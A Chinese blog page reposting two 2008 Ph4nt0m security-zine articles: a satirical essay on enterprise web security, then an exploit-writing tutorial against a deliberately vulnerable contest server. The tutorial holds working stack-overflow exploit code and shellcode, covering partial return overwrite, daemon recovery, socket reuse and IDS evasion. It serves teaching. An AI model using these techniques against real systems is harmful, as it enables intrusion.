• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            posts - 94, comments - 250, trackbacks - 0, articles - 0
              C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

                                       ==Ph4nt0m Security Team==
                                   Issue 0x01, Phile #0x04 of 0x06

            |=---------------------------------------------------------------------------=|
            |=----------------------=[       安全幻想曲2008       ]=---------------------=|
            |=---------------------------------------------------------------------------=|
            |=---------------------------------------------------------------------------=|
            |=--------------------=[           By axis             ]=--------------------=|
            |=--------------------=[   <axis_at_ph4nt0m_dot_org>   ]=--------------------=|
            |=---------------------------------------------------------------------------=|

                我見過的大多數安全人員,都對技術有著一種狂熱,甚至是一種偏執。這種情緒在做安
            全研究員的時候是非常有好處的,因為作為研究員,可能要偏執考慮到一些極端的情況。這
            種鉆研精神,是光靠勤奮所無法達到的。但是在甲方做安全的話,可能更多時候需要的就不
            是狂熱,而是掌握平衡的藝術。在商業利益與安全性發生沖突時,如何處理好這個平衡,是一
            個關鍵。

                舉一個簡單的例子來說,眼下最流行的XSS攻擊,其修補方案從總體上來說,大致可以分
            為escape output和filter input兩種。對于狂熱的安全人員來說,當然是恨不得把網站全
            部弄成靜態的,輸出都采用escape output,全部輸出純文本,就天下太平了。然而現實與理
            想總是有差別的,首道難關就是網站肯定會有些富文本的需求。

                當安全和需求相抵觸時,一定是安全給商業需求讓路。這里要避免一個誤區,就是安全
            應該是為需求而服務的,而不是成為需求的障礙。其實這個觀點大多數人都心知肚明,但是
            在實際操作起來的時候往往會事與愿違。

                再回到富文本上來,當需求決定需要有富文本輸出的時候,狂熱的安全人員(下稱為狂戰
            士吧)就只好退而求其次,要求對富文本做filter input,對其他沒有富文本的地方做escape
            output。接下來問題來了,對于程序員來說,富文本往往采用了一些第三方的,或者是基于第
            三方的富文本編輯器,還有的是自己實現了一個。而這些富文本編輯器,往往在考慮
            xss defense的時候有所欠缺。這時候采用什么樣的策略來做filter input,就成為了新的
            問題。

                第一個難關就是程序員會拉上商業,一起來和狂戰士PK,說filter input很容易誤殺客
            戶的正常操作,還會影響到性能。當然這小小的難關還難不倒狂戰士。狂戰士往往會輕蔑的
            一笑,然后把風險推到商業上,說出了問題讓他背黑鍋之類。這種狠話一放出來,商業往往就
            會退縮了,畢竟狂戰士這么個狠角色是擺在那里的。所以最后會決定讓程序員去整filter。

                于是程序員簡單寫了個基于正則的blacklist,并且禁用了部分標簽,比如script。狂戰
            士這時候又蹦了出來,對程序員指手畫腳,要求禁用style,因為這玩意太難控制了,黑客有幾
            百種利用style的方式;狂戰士還說,基于正則的匹配這個魔法等級太低了,要換個高級魔法,
            比如個語法分析器,類似html purify這種,還要有log analysis和realtime monitor功能。

                一般到了這個時候,程序員對狂戰士的忍耐已經差不多到極限了,因為甲方網站很少以
            安全為主要考核因素,沒人會認為一個視頻網站或者是交友網站的安全需要做的比FBI更好,
            因為沒那么大的成本投入。于是程序員說要釋放這么個高級魔法需要一個團的程序員配合,
            還需要召喚很長時間才能放出來,所以狂戰士的這個非常牛B的魔法無法完成。而一般在這
            個時候,程序員往往會用啥性能和穩定性之類的因素來忽悠狂戰士,說這種魔法一般有一定
            概率會反噬,沒整好就把自己整殘了。

                狂戰士無奈之下,只好同意程序員實現一部分的魔法,filter部分過濾完整有效就行了。
            做好這個之后,狂戰士還讓程序員去對沒有富文本需求的地方使用escape output。程序員
            這時候對狂戰士已經忍無可忍了,因為由于以前從來沒有注意過xss這方面的問題,所以需要
            escape的地方是以“千”或者是“萬”為單位的,多如牛毛。于是程序員開始消極怠工,并且開
            始訴苦。這條路走不通了,狂戰士只好開始尋求更好的方案。

                后來狂戰士回家睡了一覺,在夢中有仙人傳授武藝,于是馬上想到了新的辦法。第一招
            是filter output,不過這個扯淡的方法根本屬于yy,因為對服務器壓力太大。第二招是使用
            WAF,就是web application firewall,開個虛擬補丁,這樣程序員不補也能搞定web漏洞。不
            過這樣就依賴于WAF的規則了,而且治標不治本。看來昨晚那個仙人估計是灶君一類低級的
            小神,盡出餿點子。看來狂戰士還得繼續和程序員PK下去了。

                可以見到,那些牛圈里的狂戰士常認為是“奇技淫巧”的XSS問題里,有這么多頭疼的問題。
            簡單的問題變得越來越復雜。

                安全是一個持續的過程(process)。既然是過程,就會有第一步、第二步 ... 第N步,有
            一個持續的概念在里面,不能今天整了,明天就不管了。今天的安全并不代表明天的安全,新
            的技術和應用在不斷發展,就會不斷帶來新的問題。經常看到一個升級反而把漏洞升級出來
            的例子。所以安全是一個持續的對抗過程,hacking與anti-hacking的過程,廣義來說,更是
            一個弱化風險的過程。

                很多BOSS往往都會這么問狂戰士:我上了這個720安全衛士是不是桌面安全就不用管了?
            我上了這個賣紅茶IPS是不是就能擋住所有刺客入侵了? 狂戰士這時候很無奈的說:不行,還
            是有很多trojan和rootkit可以bypass主動防御,很多shellcode和0day可以anti IPS。 于
            是BOSS很生氣的說: 那我花這么多錢買這個做啥? 狂戰士一般會忽悠他說:上了這個可以解
            決90%的攻擊。 于是BOSS會很不滿意,讓狂戰士出技術分析報告,一定要有充分的理由才行,
            狂戰士往往要面對這種煩惱。

                其實BOSS的這種觀點是一種急功近利的想法,沒有認識到安全是一個過程,并且是一個
            持續改進的過程。不是買個box就能解決問題的。沒有100%的安全,有漏洞的地方太多了。
            經常有魔法師用木桶原理來闡述安全問題,但其實很多時候,連木板在哪里,到底那塊木板才
            是短板,都沒有一個很清晰的認識,因為很多時候根本無法量化,所以狂戰士的工作經常陷入
            誤區。板子太多了,系統、網絡、用戶、應用、數據、桌面......

                放眼看去,全是短板,每塊板子都能讓刺客或盜賊輕松的進來,偷走核心數據或者弄攤網
            站然后揚長而去。或者各種短板互相組合,讓問題變得更加撲朔迷離。

                前面說的WAF就是一種比較功利的做法,雖然廠商經常會蹦出來說這玩意是需要有專人
            維護的,也是一個持續的過程。但實際上很多購買WAF的用戶都沒有好好的去做這個過程。
            其實WAF、IPS最大的軟肋不是在沒人跟進上,而是在于其是串聯的網絡上的,特別是開了虛
            擬補丁的阻斷模式的時候。這對于高可用性的應用來說,絕對是無法忍受的。沒人敢背這個
            誤殺的黑鍋。要是因此導致了PV下降,可能老板就要喊到辦公室去喝茶了。不過WAF也不是
            完全沒用,如果能夠用好的話,對于網站還是還是很有幫助的,至少在monitor和攻擊流量分
            析上起著積極的意義。不過前提是用好。

                剛才說了安全是一個過程(Process),其實有人跟進這個過程還不夠,下面還要重點說說
            深度防御的思想。經常看到YY小說的作者在寫到黑客攻防的時候,說到XXX在xx分鐘內就突
            破了N道防火墻,N大于100;變形金剛里也這么有這種場景。其實這純粹是扯淡,沒事整那么
            多防火墻做什么,無端影響了可用性。不過YY作者深度防御的理念還是正確的,只是他不知
            道那玩意不應該單純叫防火墻,要想表達這個思想,可以整個專業名詞,比如:多層防御體系。
            這樣裝B就可以裝的比較像樣了。舉例來說,可以在應用層校驗用戶輸入數據,DB層面檢查每
            條sql,操作系統上細分權限,服務最少化,網絡上防御arp spoof,加密傳輸通道,做好ACL…類
            似措施還有很多,防御的方案交叉層疊起來,就能起來一個比較好的保護效果。

                不過偏偏還有不識趣的,比如前面的很多程序員都會說,我都已經做了filter input,還
            要escape output做啥。狂戰士一般聽到后會有想要狂化的沖動。按耐住狂化,告訴程序員,
            說filter input可能會做不干凈,會被bypass,畢竟如果遇到一個手執絕世0day(bypass
            filter)的9級刺客,什么牛B的防御魔法都擋不住,所以能escape output的地方,最好escape
            掉,這樣最干凈。可是即便是這樣做好了,還是有些會有很難處理和發現的地方,比如在DOM
            里的XSS,比如在JS里面一些寫的很BT的地方,等。這些只能靠肉眼去看了。PK還得進行下去。

                但是程序員還是不能很好的理解,他們跑出來說:我這里做了完善的access control,只
            有管理員才看的到,這里就算有注射有跨站就隨他去了,不需要修復。想偷這種懶的人其實
            不在少數。這種想法違背了深度防御的思想。先姑且不論如果管理員密碼泄露,或者管理員
            是個內鬼的情況。如果刺客通過注射拿到了管理員密碼,或者是直接通過XSS和CSRF來對后
            臺進行注射,那么前面的access control就完全沒作用了。

                在一定程度上,是可以容忍風險的存在的,但是從長期來看,這種做法是非常不可取的。
            比如有的管理員會說防火墻只允許80端口,那么RPC漏洞或開其他端口的應用漏洞是否就可
            以不補了。也許一時來說是沒什么問題,但是如果放置不管將導致沒有人來維護漏洞,也許
            哪天的防火墻策略變更,或者來自內部系統的威脅,都有可能導致當時看起來無害的漏洞被
            利用。而這種做法的一個后果往往是難以檢查原因,就是說咋死的都不知道。所以這又回到
            了開始的話題:安全是一個持續的過程。

                在灌輸完深度防御的思想給程序員以后,狂戰士又被另外一種程序員打擊到崩潰了。面
            對滿目都是紅色的掃描報告,他們說:我這個xxx ftp沒漏洞,除非狂戰士可以證明黑客能搞
            進來拿到shell。一般狂戰士聽到這種要求,狂化的概率在80%以上。首先,不是只有能拿到
            shell的才叫漏洞。一個dos可能會造成業務的中斷,一個infomation leak可能會為后續攻
            擊帶來便利,等等。

                面對scan report以及CVE查詢出來的漏洞,大部分都是沒有現成的exp能夠利用的,而且
            要利用漏洞可能有各種苛刻的條件,比如要求本地交互shell啊,或者要求有帳戶之類。而更
            多的時候,漏洞根本連細節的都沒有,只有一個漏洞公告里一個簡單的劃分critical,標紅。
            就算有exp,可能還要考慮到exp的穩定性和成功率、語言版本啥的,打過去也不一定能成功。
            更何況狂戰士無法處心積慮了為了POC給程序員看,而花費大量的精力來追求一個可能沒有
            結果的漏洞。

                但是無法POC不代表就沒有風險了。我們的目標是要保證一個系統長期的在任何情況下
            都能安全運行,機密數據不會外泄,業務不會中斷。所以這種程序員犯的錯誤就是偷換了概
            念,把威脅范圍縮小了,用個體來代替全局。很多時候威脅可能來自內部,可能來自誤操作,
            可能來自其他的風險。要說服這種程序員很辛苦,只能夠靠長期的“忽悠”,來慢慢感化他們,
            要是運氣好還能做出一兩個POC來震撼下他們,劉震撼(ZhenHan.Liu)就是為此而生的。佛曰:
            我不下地獄誰下地獄。

                作為一個優秀的狂戰士,往往要有相當程度的mission impossible的修為。很多時候,
            需要為瀏覽器漏洞、操作系統漏洞擦屁股,不然最后吃虧的還是自己的用戶。面對釣魚和詐
            騙,很多時候那些認為web安全是“奇技淫巧”狂戰士們認為解決方案是impossible的,認為
            no patch for stupid。比如phishing,誠然,如果有一個一勞永逸的方案,那么這種完美魔
            法要是放出來了絕對可以獲得圣階魔導師的稱號。但是YY歸YY,現實歸現實。狂戰士們很頭
            疼這種問題,但是卻不得不去面對它。

                魔法最終還是放出來了,可惜不完美。目前anti-phishing的魔法,有整到瀏覽器里內置
            對抗的(IE7/8),也有瀏覽器toolbar、擴展的,有在IM里做過濾的,還有窮舉malicious sites
            的,更有發動人民戰爭來維護一個blacklist的,其難度和成本從低到高什么都有,不過基本
            都無法一次性解決問題。比較有創意的魔法屬于yahoo發明的sign seal,基于認證機器的原
            理來識別真實網站,不過這個方法的缺陷在于需要長期教育用戶,實際使用效果不一定好。
            yahoo還整了個domainkey技術來在郵件里對抗phishing,不過這個缺陷更明顯,需要郵件服
            務商支持。yahoo的狂戰士挺有想法的,就是太理想化了一點。

                說到安全世界的另外一股強大力量不能不提教廷,這個宗教從精神上統治了安全世界,
            一群群紅衣主教們整出來了一堆標準、規范比如BS7799之類來幫助狂戰士們更好的忽悠他
            們的BOSS。其實標準是死的,主教們的出發點是好的,不過這些標準啥的就和秘籍差不多,狂
            戰士們以為他們讀明白了,其實很少人真正讀懂了。那玩意如果拿來忽悠BOSS們確實是一套
            套的,但用在實處則有一個本地化的過程。必須要把標準之類的東西和實際情況結合起來,
            不然就只能停留在忽悠的層面上。

                最能體現問題的出在編碼規范上。可能有N個權威的機構都出了他們自己的code規范,
            或者某些狂戰士傭兵團(安全公司)也自己整了套。不過在具體使用的時候,很多狂戰士都是
            拿了一套去用在所有的公司身上,其實這樣的結果就是到最后沒有程序員遵守用那玩意,因
            為在實際情況中往往不好用。每個公司都有自己的體系、環境和編碼習慣。系統的designer
            和architect只要不是小白一般都或多或少的會考慮點安全風險,規范只有本地化以后才能
            很好的用起來,不然絕對會水土不服。所以要是再遇到什么安全公司拿標準、規范來忽悠的
            時候,狂戰士們就要睜亮了眼睛了!

                胡侃瞎吹了這么多其實也沒說到重點,不過重點已經不是本文要講的事情了,想要講的
            東西還有很多,也許以后會陸續寫出來。狂戰士是份很好的職業,希望有更多的狂戰士甚至
            是半獸人朋友能夠加入我所在的狂戰士傭兵團!

            -EOF-

            posted @ 2008-08-15 09:27 Condor 閱讀(188) | 評論 (1)編輯 收藏

                                      ==Ph4nt0m Security Team==
                                   Issue 0x01, Phile #0x03 of 0x06

            |=---------------------------------------------------------------------------=|
            |=---------------------=[       做一個優秀的木匠      ]=---------------------=|
            |=---------------------------------------------------------------------------=|
            |=---------------------------------------------------------------------------=|
            |=--------------------=[           By F.Zh             ]=--------------------=|
            |=---------------------------------------------------------------------------=|
            |=---------------------------------------------------------------------------=|

                [本文內容可能會傷及到部分名人粉絲感情,作者表示僅為插科打諢之用,并無惡意]
                有副圖描述了從發現漏洞到最后盈利的過程,大概意思是研究人員發現了房子的漏洞,木
            匠針對漏洞造了一個梯子,最后腳本小子進屋偷東西。國內的圈子里面,玩票性質的安全愛好
            者大多不愿意做腳本小子,同時也不見得有足夠的時間去找房子的漏洞,所以閑暇時候基本上
            做做木匠活當消遣。但木匠也是有三六九等的,有朱由校,有魯班,也有就只能給地主老財家
            做楠木棺材的。作為一個有職業道德的木匠,顯然應該努力向前面兩個靠攏,因為只能做做楠
            木棺材的,未免也太失面子了。

                這篇文章就從國內某著名破解論壇搞的科普競賽開始,由一個楠木棺材級別的木匠掙扎
            著介紹一下放眼能夠看到的技巧。在切入正題前,有必要介紹一下科普競賽的背景和結果:
            大約是看到windows漏洞太值錢,破解組織也開始搞起了逆向和exploit,而且還以競賽的方
            式來引起非木匠的關注。科普競賽的題目是兩道,如Sowhat所說
            (http://hi.baidu.com/secway/blog/item/cb121863a6af72640c33facf.html),第二道題是
            可以Google到的,而第一道題顯然是個送分題,因此科普競賽實際上是個比手快的過程。最
            后結果是nop拿了第一,這個名字讓人不禁聯想到了五一國際勞動節和革命先烈鮮血的顏色,
            當然,我們依然懷著無比的敬仰和美好的期望,希望這個nop不是職業運動員參加了業余比賽。
                先看看存在問題的程序。逆向很簡單,但是為了方便,還是直接給出官方公布的源代碼。
            具有嚴重自虐傾向的木匠請編譯后用ida逆向一下,并自備低溫蠟燭和愛心小皮鞭。
            ========================和諧的分割線=================================
            #include<iostream.h>
            #include<winsock2.h>
            #pragma comment(lib, "ws2_32.lib")
            void msg_display(char * buf)
            {
              char msg[200];
              strcpy(msg,buf);// overflow here, copy 0x200 to 200
              cout<<"********************"<<endl;
              cout<<"received:"<<endl;
              cout<<msg<<endl;
            }
            void main()
            {
              int sock,msgsock,lenth,receive_len;
              struct sockaddr_in sock_server,sock_client;
              char buf[0x200]; //noticed it is 0x200
              WSADATA wsa;
              WSAStartup(MAKEWORD(1,1),&wsa);
              if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
              {
                cout<<sock<<"socket creating error!"<<endl;
                exit(1);
              }
              sock_server.sin_family=AF_INET;
              sock_server.sin_port=htons(7777);
              sock_server.sin_addr.s_addr=htonl(INADDR_ANY);
              if(bind(sock,(struct sockaddr*)&sock_server,sizeof(sock_server)))
              {
                cout<<"binding stream socket error!"<<endl;
              }
              cout<<"**************************************"<<endl;
              cout<<"     exploit target server 1.0     "<<endl;
              cout<<"**************************************"<<endl;
              listen(sock,4);
              lenth=sizeof(struct sockaddr);
              do{
                msgsock=accept(sock,(struct sockaddr*)&sock_client,(int*)&lenth);
                if(msgsock==-1)
                {
                  cout<<"accept error!"<<endl;
                  break;
                }
                else
                  do
                  {
                    memset(buf,0,sizeof(buf));
                    if((receive_len=recv(msgsock,buf,sizeof(buf),0))<0)
                    {
                      cout<<"reading stream message erro!"<<endl;
                      receive_len=0;
                    }
                    msg_display(buf);//trigged the overflow
                  }while(receive_len);
                  closesocket(msgsock);
              }while(1);
              WSACleanup();
            }
            ========================和諧的分割線=================================
                如注釋所言,這里是誤把0x200長度的往200字符串里面拷貝了。其實這個問題并不具有
            代表性,比爾叔叔的手下們把widechar的長度算錯過,把棧上的變量當堆釋放過,把用戶給的
            地址內容加1過,唯獨沒有昏到把16進制和10進制搞混。不過既然主辦方這樣寫,我們也就這
            樣看吧。實際上逆向出來后,作為一個模板可以覆蓋ret,然后code page里面找jmp esp,然
            后這樣那樣,很簡單就搞定exp了。盡管在冠軍的答案中看到了這種方法的影子,楠木棺材級
            木匠還是要揮舞著手中的鋸子說,這種程度只能去做洗腳盆。

                好吧,那我們一步一步地看如果從洗腳盆程度提升到楠木棺材級別,并展望一下更高的
            層次。
                首先是獲取CPU的控制權問題。

                dark spyrit在某期Phrack(記不清楚了)上提出可以用系統加載的dll上的指令碼來跳
            轉并獲得控制權。這里有一個前提,因為很巧的你覆蓋了一大堆東西后,ret退棧后esp指向
            你能夠控制的代碼,因此用一個jmp esp可以跳過來執行,剩下就是編寫shellcode。但是,
            并不是說就只能用這個方法,或者說這個方法就最好。dark spyrit最大的貢獻是提出了一
            個通用的方法,同馬列主義毛澤東思想鄧小平理論三個代表八榮八恥一樣,雖然是放之四海
            而皆準的真理,不過到了中國,還是要要結合具體的國情來開展工作。拿jmp esp的東西往
            機器上一跑,不同的操作系統版本怎么辦,/3gb模式怎么辦?做洗腳盆的確可以區分著做出
            男用女用小孩用人妖用的,但是可能拿去用的人是超女的冠軍,如果事先你不知道名字,只
            看長相,你說到底給那個盆子好?

                所以造梯子的時候,最好還是根據實際情況來。一般來說,棧溢出時,對棧上的破壞情
            況不是很嚴重的話,在棧區域上可以看到很多上層函數的局部變量,而且這些局部變量往往
            是很有用的,比如湊巧就是你那個字符串的指針等。打棧上變量的主意有幾個好處,首先你
            可以用其他更穩定的方法跳轉到惡意字符串的開頭,其次這可以給你多一些字節空間來存放
            shellcode,最后還可以防止一些ids/ips的檢測。我們可以用下面一個簡單的圖示來把這
            三個優勢混雜起來說明一下。
            <--lower                                                upper-->
            ================================================================
            var of vulnerable function   |  ret  |  var of upper function ...
            ================================================================
            NOP NOP NOP NOP NOP NOP NOP  |jmp esp|  shellcode
            ================================================================
            shellcode                    |jmp  ? |  var of upper function
            ================================================================

                第二行是馬列主義方法,你一定會覆蓋到ret,然后繼續覆蓋起碼2個字節(eb xx往回跳轉)。
            因此一些ids/ips的signature就寫了,如果你超過xxoo個字節,就阻止發送。就算寫得不好
            的signature起碼也會檢查你是否覆蓋到了ret的四個字節,一些更嚴格的甚至只要覆蓋到ret
            的第一個字節就報警,對于這樣的情況,馬列主義方法肯定是被扼殺了,但是第三行的具體國
            情方法還有一線機會逃脫檢測,我們根本不用覆蓋完ret的四個字節,只要利用棧上的變量,
            找一些特定的字節碼就可以了。

                說到這里還可以插播一個事情,去年一月份泄露出來的.ani溢出的exp,大家對那個覆
            蓋了低兩位的exp驚嘆不已。這就是一個很好的例子:第一,你用最小的字節數完成了功能,
            最大限度避免了ids等的問題。第二,這個方法的穩定性還好。這樣說其實是很抽象的,我們
            還是回到科普競賽的代碼上來看。

                調用msg_display的時候傳遞進來了一個參數,在棧上表現出來是這個參數是緊接著ret
            地址后面的,如果我們僅覆蓋到了ret地址,當CPU執行完msg_display返回時,esp剛好指向
            這個參數,這個時候只需要一個能達到jmp [esp]功能的地址,就能準確跳轉到我們傳入的
            字符串上去,顯然,滿足這個條件最好的指令就是0xc3(ret)。下面這個圖簡單地說明了這
            個問題。
            <--lower                                                              upper-->
            =============================================================================
            var of vulnerable function  |  ret  |  ptr  | other var of upper function ...
            =============================================================================
            ^---------------------------------------|

                把圖中的ret用一個內容為0xC3的地址A來覆蓋,當msg_display返回時,返回到了A地址,
            再執行了一次0xC3(ret)指令,eip就跳到了字符串的開頭。

                這里的情況還是很簡單的,實際exploiting中也許這個ptr離ret還有點距離,可能需要
            你pop幾次,這個形式上同覆蓋seh的利用方法相同,也算是一個巧合吧。

                然后來說說0xC3地址的尋找。首先很遺憾的,如果你想用四個字節完全覆蓋ret地址,
            沒有一個通用地方。msvcrt.dll在相同sp的不同語言系統中相對固定,code page在相同語
            言不同版本系統中相對固定。注意,這里只是相對,碰上些特殊的情況,可能這些平時通用
            的地址根本就是無效的地址。再嚴格一些,如果這里地址必須符合某種編碼規范,也許你更
            難找到可用的地址,更別說通用了。

                洗腳盆級別的木匠到這里估計要暈倒了,棺材匠級別的應該還有點辦法,兩個解決方案:

                第一、找一個替代產品來滿足編碼規范。比如0x7ffa1571是你要找的pop pop ret,沒
            必要一定要用0x7ffa1571,也許用0x7ffa156e也可以,只要pop pop ret前面的指令無傷大
            雅就是。一個實際的例子是泄露出來的realplayer import那個,要找pop pop ret,但是符
            合編碼規范的范圍內找不到,作為替代找了一個 call xxx/ret xx,而且剛好call xxx還不
            會讓程序崩潰。

                第二、縮小覆蓋面積。覆蓋4個字節太痛苦了,少覆蓋幾個字節吧。x86的DWORD是低位
            在上的,所以你順序覆蓋的時候,首先覆蓋了ret地址的低位。正常的ret值是返回到某個pe
            文件中,比如00401258,如果覆蓋一個字節,那可能的地址范圍是00401201~004012ff,如果
            覆蓋2個字節,可能的地址范圍在00400101~0040ffff。這么大的范圍內一般容易找到滿足
            要求的地址,而且更重要的是,pe文件版本固定的話,盡管加載的基地址可能會變化,但是由
            于基地址有個對齊的要求,低位(兩個字節或更多)完全固定,這實際上是一個很好的提高穩
            定性的方法。現實中memcpy導致的問題用這種方法更有效,strcpy的麻煩些,不過好在只要
            說明問題就是,這里也不深究過多。馬上給出第一個代碼。
            ========================和諧的分割線=================================
            #include <winsock2.h>
            #include <stdio.h>
            #pragma comment(lib, "ws2_32")
            SOCKET ConnectTo(char *ip, int port)
            {
                SOCKET s;
                struct hostent *he;
                struct sockaddr_in host;
                if((he = gethostbyname(ip)) == 0)
                    return INVALID_SOCKET;
                host.sin_port = htons(port);
                host.sin_family = AF_INET;
                host.sin_addr = *((struct in_addr *)he->h_addr);
                if ((s = WSASocket(2, 1, 0, 0, 0, 0)) == -1)
                    return INVALID_SOCKET;
                if ((connect(s, (struct sockaddr *) &host, sizeof(host))) == -1)
                {
                    closesocket(s);
                    return INVALID_SOCKET;
                }
                return s;
            }

            void main()
            {
                char malicious[] =  "\xcc"
                                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                                "OA@";
                WSADATA wsaData;
                if(WSAStartup(0x0101,&wsaData) != 0)
                    return;
                SOCKET s = ConnectTo("127.0.0.1", 7777);
                send(s, malicious, 203, 0);  //hard encoded :)
                WSACleanup();
            }
            ========================和諧的分割線=================================

                執行下順利到達int3指令。

                構造exp的過程本身是簡單的,關鍵在shellcode實現功能上。洗腳盆木匠到這一步基本
            上就是找一個shellcode來用。作為一個有職業道德的棺材級木匠,可能還應該有點更高的
            追求:好的梯子除了能夠通用而精確地干掉存在漏洞的機器外,同時還要方便使用者,繞過
            防火墻,而且還要盡可能少地影響到守護進程。對于網絡程序,理想的情況是復用端口,終
            極目標是復用完了還不掛,后續的使用者能夠正常使用守護進程的功能。后一點聽起來似
            乎有點不可思議,而且流傳在外面的各種exp,好像還罕有牛到這種程度,不過說穿了也沒什
            么奇怪的,棺材級的木匠一般都能做到,只是馬桶級木匠更喜歡散布馬桶級exp而已。我們
            把復用端口的問題留在后面,先聊聊如何讓守護進程不掛掉這個事情。

                要程序不掛,最簡單的辦法就是恢復溢出時候的上下文,然后返回去。通常jmp esp的方
            法因為覆蓋得太多,棧給洗腳盆木匠搞得一團糟,影響了太多上級函數的變量,導致根本沒有
            什么好辦法可以恢復。這個時候,盡可能少覆蓋的優勢出來了:由于最大限度地保存了上層
            函數局部變量,所以要做的就是恢復相關寄存器的值,然后尋找正常流程應該返回的地址,跳
            轉回去即可。對于這里這個簡單的daemon,我們甚至可以硬編碼返回地址。還是把例子給出
            來,說明一下問題先。

            ========================和諧的分割線=================================
            char malicious[] =
            "\xCC"
            "LLLL`a"
            "\x50\x44\x44\x68\x55\x55\x55\x12\x44\x44\xc3"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "OA@";
            ========================和諧的分割線=================================

                同前面一個代碼相同,0xCC為了調試方便,改成0x90后再編譯執行下,可以看見守護進程
            完全恢復了,你還可以telnet 7777過去正常執行功能,和沒有發生過問題一樣。這里恢復的
            代碼用了一點小技巧,有興趣的木匠可以仔細看看,代碼`和a分別是pushad和popad,在這兩
            個中間可以放置任何功能的shellcode,不影響整體的框架。

                例子雖然簡單,但是我建議讀到這里的木匠還是跟進去看一下流程。由于這個實例比
            較直觀,代碼就簡單恢復了上下文然后跳到正常地方執行,對于復雜點的代碼,可能需要多
            費一點手腳,但是大體思路和步驟還是可以確定的:首先收集一個正常執行完出問題代碼的
            寄存器和棧狀態;然后確定要返回的地址,搜索或者硬編碼,返回的地方可以是上一層,也可
            以返回上幾層,甚至無恥地跳到入口讓程序重新執行一次都可以;最后將恢復的代碼編碼成
            shellcode,加在正常功能shellcode的后面。

                讓守護進程不掛也做到了,接著看看端口復用的情況。
                最簡單的網絡程序保留有一個SOCKET來通訊,很多已有的文章討論了如何找到當前的
            SOCKET。最常用的方法是枚舉所有可能的值,然后發送特征字符串來確認。也有人hook
            recv,通過稍微被動一點的方法來獲得SOCKET。當然這些都是懶人用的通用方法,對于特定
            的程序,簡單而又穩妥的方法是直接找棧上的變量,消耗的代碼少,而且一次性就能找到。
            如果編譯優化的時候沒有具體分配棧上的空間給這個socket,則它一定會被保存在某個寄
            存器里面,那就更簡單了。針對具體的情況,像recv之類的函數也沒有必要用很長的通用代
            碼去搜索,只要在PE文件里面找找就成。具體的實現細節我們省略掉,給出代碼,直接跟進
            去看看就知道了。

            ========================和諧的分割線=================================

            void main()
            {
                char malicious[] =  "\x90"
                                "LLLL`"
                                "\x33\xd2\x66\xba\x10\x10\x2b\xe2\x33\xf6\x56\x52\x54\x53\x66\xb8"
                                "\xe4\x90\xff\x10\x83\xec\x08\xff\xd4\x5d\x5d\x33\xd2\x66\xba\x10"
                                "\x10\x03\xe2"
                                "a"
                                "\x50\x44\x44\x68\x55\x55\x55\x12\x44\x44\xc3"
                                ""
                                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                                "OA@";
                WSADATA wsaData;
                if(WSAStartup(0x0101,&wsaData) != 0)
                    return;
                SOCKET s = ConnectTo("127.0.0.1", 7777);
                send(s, malicious, 203, 0);

                send(s, "\xCC\xC3",2,0);
                Sleep(-1);
                WSACleanup();
            }
            ========================和諧的分割線=================================

                這里直接復用了當前的SOCKET,再次調用recv收了一段shellcode來執行,也就是后面看
            到的"\xCC\xC3"。自己再寫個簡單的shellcode就是,基本沒有難度,只是注意要平衡棧,最
            后用個0xc3結尾。比較見鬼的是這個守護進程有recv但是沒有send,所以shellcode里面你
            必須自己找到send的地址……娘西皮,還帶這樣玩的啊。

                其他情況下的復用還有一些其他的方法,比如IIS 5這一類的,比如RPC一類的。前者尋
            找一個結構,后者hook一個函數,偽造或者搜索一個同時有in和out的opnum,具體細節baidu
            上能夠搜索到,限于篇幅這里也不再廢話了。如果對方是其他完成端口形式,比如ORACLE,只
            能暴力點shutdown掉當前監聽,自己來監聽一個。當然,也有沒什么好方法的,比如IIS6。

                上面的過程省略了沒有技術含量的shellcode編寫過程,主要說的是一些步驟,方法和技
            巧。穩定,復用,還有不掛掉守護進程,都作到了,洗腳盆也成功升級為了棺材匠,還有什么可
            以做的呢?

                美觀!這個shellcode簡直不是一般的難看,混雜了可讀的字符和不可讀的字符,簡直是
            丑陋不堪!你說一個木匠會把棺材做的全是毛刺么,不會雕龍刻鳳的木匠永遠是二流的。對
            于木匠來說,終極的目標是將一個exp發揮到極致,對于這樣簡單的一個情況,要用所有可見
            的字符,最好盡可能都是字母,甚至exp都不用,直接用個telnet就可以溢出獲得shell了。

                不可能么?當然是可能的,人有多大膽地有多大產,錢老還論證過畝產萬斤是可行的呢。
            那么,還是給個sample。

            void main()
            {
                char malicious[] =  "`aZZZZZZZZZZZZZZZZZZTYXXXXfiAqcYfPAAeiAoHFXZPiAkj"
                        "brIPiAgVbaaPiAckwzOPLiAsloUWPiAZczabPiAVYDahPiARC"
                        "pDXPQlaatHWsaLtUAAAACFiaaPoHHmDahivabowabxANlKjPpp"
                        "ppPfqVfkzppQpBknrFJPPeruDecoOaeNtiPdPpPxSnLpHOoMd"
                        "AAAOA@";
                WSADATA wsaData;
                if(WSAStartup(0x0101,&wsaData) != 0)
                    return;
                SOCKET s = ConnectTo("127.0.0.1", 7777);
                send(s, malicious, 203, 0);

